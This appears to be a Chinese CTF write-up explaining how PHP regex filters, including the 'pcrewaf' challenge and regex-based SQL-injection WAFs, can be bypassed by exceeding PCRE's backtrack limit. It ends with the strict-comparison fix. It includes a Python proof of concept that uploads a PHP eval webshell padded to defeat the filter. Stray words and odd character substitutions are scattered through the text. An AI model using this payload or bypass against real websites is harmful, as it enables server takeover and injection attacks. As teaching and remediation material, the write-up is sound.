此次Code-Breaking Puzzles中我出了一道看似很簡單的題目pcrewaf,將其代碼簡化以下:php
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(!is_php($input)) { // fwrite($f, $input); ... }
大意是判斷一下用戶輸入的內容有沒有PHP代碼,若是沒有,則寫入文件。這種時候,如何繞過is_php()
函數來寫入webshell呢?html
這道題看似簡單,深究其原理,仍是值得寫一篇文章的。web
正則表達式是一個能夠被「有限狀態自動機」接受的語言類。正則表達式
「有限狀態自動機」,其擁有有限數量的狀態,每一個狀態能夠遷移到零個或多個狀態,輸入字串決定執行哪一個狀態的遷移。shell
而常見的正則引擎,又被細分爲DFA(肯定性有限狀態自動機)與NFA(非肯定性有限狀態自動機)。他們匹配輸入的過程分別是:函數
因爲NFA的執行過程存在回溯,因此其性能會劣於DFA,但它支持更多功能。大多數程序語言都使用了NFA做爲正則引擎,其中也包括PHP使用的PCRE庫。post
因此,咱們題目中的正則<\?.*[(`;?>].*
,假設匹配的輸入是<?php phpinfo();//aaaaa
,實際執行流程是這樣的:性能
見上圖,可見第4步的時候,由於第一個.*
能夠匹配任何字符,因此最終匹配到了輸入串的結尾,也就是//aaaaa
。但此時顯然是不對的,由於正則顯示.*
後面還應該有一個字符[(`;?>]
。調試
因此NFA就開始回溯,先吐出一個a
,輸入變成第5步顯示的//aaaa
,但仍然匹配不上正則,繼續吐出a
,變成//aaa
,仍然匹配不上……rest
最終直到吐出;
,輸入變成第12步顯示的<?php phpinfo()
,此時,.*
匹配的是php phpinfo()
,然後面的;
則匹配上[(`;?>]
,這個結果知足正則表達式的要求,因而再也不回溯。13步開始向後匹配;
,14步匹配.*
,第二個.*
匹配到了字符串末尾,最後結束匹配。
在調試正則表達式的時候,咱們能夠查看當前回溯的次數:
這裏回溯了8次。
pcre.backtrack_limit
限制利用PHP爲了防止正則表達式的拒絕服務攻擊(reDOS),給pcre設定了一個回溯次數上限pcre.backtrack_limit
。咱們能夠經過var_dump(ini_get('pcre.backtrack_limit'));
的方式查看當前環境下的上限:
這裏有個有趣的事情,就是PHP文檔中,中英文版本的數值是不同的:
咱們應該以英文版爲參考。
可見,回溯次數上限默認是100萬。那麼,假設咱們的回溯次數超過了100萬,會出現什麼現象呢?好比:
可見,preg_match
返回的非1和0,而是false。
preg_match
函數返回false表示這次執行失敗了,咱們能夠調用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);
,發現失敗的緣由的確是回溯次數超出了限制:
因此,這道題的答案就呼之欲出了。咱們經過發送超長字符串的方式,使正則執行失敗,最後繞過目標對PHP語言的限制。
對應的POC以下:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
延伸一下,不少基於PHP的WAF,如:
<?php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection'); }
均存在上述問題,經過大量回溯能夠進行繞過。
另外,我遇到更常見的一種WAF是
<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); }
這裏涉及到了正則表達式的「非貪婪模式」。在NFA中,若是我輸入UNION/*aaaaa*/SELECT
,這個正則表達式執行流程以下:
.+?
匹配到/
.+?
中止匹配,而由S
匹配*
S
匹配*
失敗,回溯,再由.+?
匹配*
.+?
中止匹配,而由S
匹配a
S
匹配a
失敗,回溯,再由.+?
匹配a
回溯次數隨着a的數量增長而增長。因此,咱們仍然能夠經過發送大量a,來使回溯次數超出pcre.backtrack_limit
限制,進而繞過WAF:
那麼,如何修復這個問題呢?
其實若是咱們仔細觀察PHP文檔,是能夠看到preg_match
函數下面的警告的:
若是用preg_match
對字符串進行匹配,必定要使用===
全等號來判斷返回值,如:
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(is_php($input) === 0) { // fwrite($f, $input); ... }
這樣,即便正則執行失敗返回false,也不會進入if語句
來自p神文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html?page=1#reply-list